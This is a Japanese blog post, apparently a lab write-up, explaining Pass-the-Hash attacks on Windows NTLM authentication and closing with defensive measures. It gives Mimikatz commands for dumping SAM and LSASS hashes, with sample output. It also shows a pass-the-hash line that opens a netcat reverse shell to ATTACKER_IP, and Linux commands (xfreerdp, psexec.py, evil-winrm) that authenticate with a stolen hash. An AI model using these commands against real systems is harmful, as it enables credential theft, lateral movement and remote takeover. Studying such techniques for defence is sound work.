0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

NTLMハッシュをそのまま利用する攻撃:Pass-the-Hash (PtH)解説

0
Last updated at Posted at 2026-04-08

はじめに

Windowsネットワークのセキュリティを考える上で、避けて通れないのがPass-the-Hash (PtH) という攻撃手法です。通常、システムにログインするには「パスワード(平文)」が必要ですが、PtHを使えば 「ハッシュ化されたパスワード」 を知っているだけで、本人として認証をパスできてしまいます。

本記事では、PtHの仕組みから、実際のツール(Mimikatz等)を使ったハッシュの抽出・利用方法までを解説します。


1. Pass-the-Hash (PtH) とは?

通常、WindowsのNTLM認証プロセスでは、サーバーから送られてくる「チャレンジ」に対して、クライアントが「パスワードハッシュ」を使って応答を作成します。

このプロセスにおいて、サーバーは平文のパスワードを要求しません。 つまり、攻撃者が何らかの方法でシステムのメモリやデータベースからNTLMハッシュを盗み出すことができれば、パスワードを解析(クラッキング)して平文に戻す手間をかけずに、そのまま認証に使用できるのです。


2. NTLMハッシュの抽出方法

PtHを実行するには、まず標的となるホストで管理者権限を奪取し、ハッシュを抽出する必要があります。主に2つの手法があります。

A. ローカルSAMデータベースからの抽出

マシンのローカルユーザーのハッシュを取得します(ドメインユーザーは含まれません)。

使用コマンド (Mimikatz):

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

Domain : THMJMP2                                                                
SysKey : 2e27b23479e1fb1161a839f9800119eb                                       
Local SID : S-1-5-21-1946626518-647761240-1897539217                            

SAMKey : 9a74a253f756d6b012b7ee3d0436f77a                                       

RID  : 000001f4 (500)                                                           
User : Administrator                                                            
  Hash NTLM: 0b2571be7e75e3dbd169ca5352a2dad7                                   

RID  : 000001f5 (501)                                                           
User : Guest                                                                    

RID  : 000001f7 (503)                                                           
User : DefaultAccount                                                           

  • 結果: Administrator などのローカルアカウントのNTLMハッシュが取得できます。

B. LSASSメモリからの抽出

現在、または最近そのマシンにログインしたドメインユーザーやローカルユーザーのハッシュを取得できます。

使用コマンド (Mimikatz):

mimikatz # sekurlsa::msv

Authentication Id : 0 ; 664042 (00000000:000a21ea)                              
Session           : RemoteInteractive from 4                                    
User Name         : t1_toby.beck1                                               
Domain            : ZA                                                          
Logon Server      : THMDC                                                       
Logon Time        : 4/7/2026 8:45:29 AM                                         
SID               : S-1-5-21-3330634377-1326264276-632209373-4616               
        msv :                                                                   
         [00000003] Primary                                                     
         * Username : t1_toby.beck1                                             
         * Domain   : ZA                                                        
         * NTLM     : 533f1bd576caa912bdb9da284bbc60fe                          
         * SHA1     : 8a65216442debb62a3258eea4fbcbadea40ccc38                  
         * DPAPI    : 489fed8eeb5acc4ffb205663491b62d3    
  • メリット: ドメイン管理者などが過去にログインしていれば、その強力な権限を持つハッシュを奪取できる可能性があります。

3. Mimikatzを用いたPtHの実行

ハッシュが手に入ったら、それを使って新しいプロセスを立ち上げます。

手順:

  1. 権限を元に戻す(昇格したトークンのままだとPtHが失敗するため)。
  2. sekurlsa::pth コマンドで、ハッシュを指定してコマンドを実行する。
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

[!IMPORTANT] 注意点: > この操作で立ち上がったシェルで whoami を実行しても、表示上のユーザー名は元のままです。しかし、ネットワーク経由で他のリソースにアクセスする際は、注入したハッシュ(例:bob.jenkins)の権限が適用されます。


4. Linux環境からのPtH

攻撃端末がLinux(Kali Linux等)の場合、ハッシュをそのまま引数として渡せる便利なツールが多数存在します。

RDP (リモートデスクトップ) で接続

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

PsExec (コマンド実行) で接続

Impacketスイートの psexec.py を使用します。

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

WinRM (Windowsリモート管理) で接続

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

まとめと対策

Pass-the-Hashは、一度管理者権限を奪われるとネットワーク全体に被害が拡大(横展開/Lateral Movement)する恐れがある非常に強力な手法です。

防御側の対策:

  • 特権アカウントの制限: 管理者アカウントで一般端末にログインしない。
  • LSAプロテクションの有効化: LSASSプロセスへの不正アクセスを防止する。
  • Windows Defender Credential Guard: 仮想化ベースのセキュリティでシークレットを保護する。
  • NTLMの無効化: 可能であれば、より安全なKerberos認証への移行を検討する。

セキュリティ担当者は、これらの攻撃手法を理解し、ログの監視や適切な権限分離を行うことが重要です。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?